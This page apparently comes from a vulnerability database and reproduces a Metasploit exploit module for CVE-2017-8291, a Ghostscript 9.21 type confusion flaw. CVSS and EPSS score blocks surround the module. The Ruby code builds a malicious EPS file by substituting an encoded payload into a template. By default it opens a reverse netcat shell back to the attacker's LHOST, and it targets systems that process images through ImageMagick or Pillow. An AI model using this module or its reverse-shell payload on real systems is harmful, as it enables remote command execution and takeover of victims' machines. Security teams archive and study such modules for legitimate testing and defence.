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Ghostscript 9.21 - Type Confusion Arbitrary Command Execution (Metasploit)

2017-05-0200:00:00
Metasploit
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127

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

High

EPSS

0.522

Percentile

97.6%

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Ghostscript Type Confusion Arbitrary Command Execution',
      'Description'     => %q{
        This module exploits a type confusion vulnerability in Ghostscript that can
        be exploited to obtain arbitrary command execution. This vulnerability affects
        Ghostscript version 9.21 and earlier and can be exploited through libraries
        such as ImageMagick and Pillow.
      },
      'Author'          => [
        'Atlassian Security Team', # Vulnerability discovery
        'hdm'                      # Metasploit module
      ],
      'References'      => [
        %w{CVE 2017-8291},
        %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
        %w{URL http://seclists.org/oss-sec/2017/q2/148},
        %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
        %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
      ],
      'DisclosureDate'  => 'Apr 27 2017',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => false,
      'Payload'         => {
        'BadChars'      => "\x22\x27\x5c)(", # ", ', \, (, and )
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat bash-tcp'
        }
      },
      'Targets'         => [
        ['EPS file',  template: 'msf.eps']
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'               => 'cmd/unix/reverse_netcat',
        'LHOST'                 => Rex::Socket.source_address,
        'DisablePayloadHandler' => false,
        'WfsDelay'              => 9001
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
    ])
  end

  # Example usage from the bug tracker:
  # $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps

  def exploit
    file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
  end

  def template
    ::File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
      target[:template]
    ))
  end

end

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

High

EPSS

0.522

Percentile

97.6%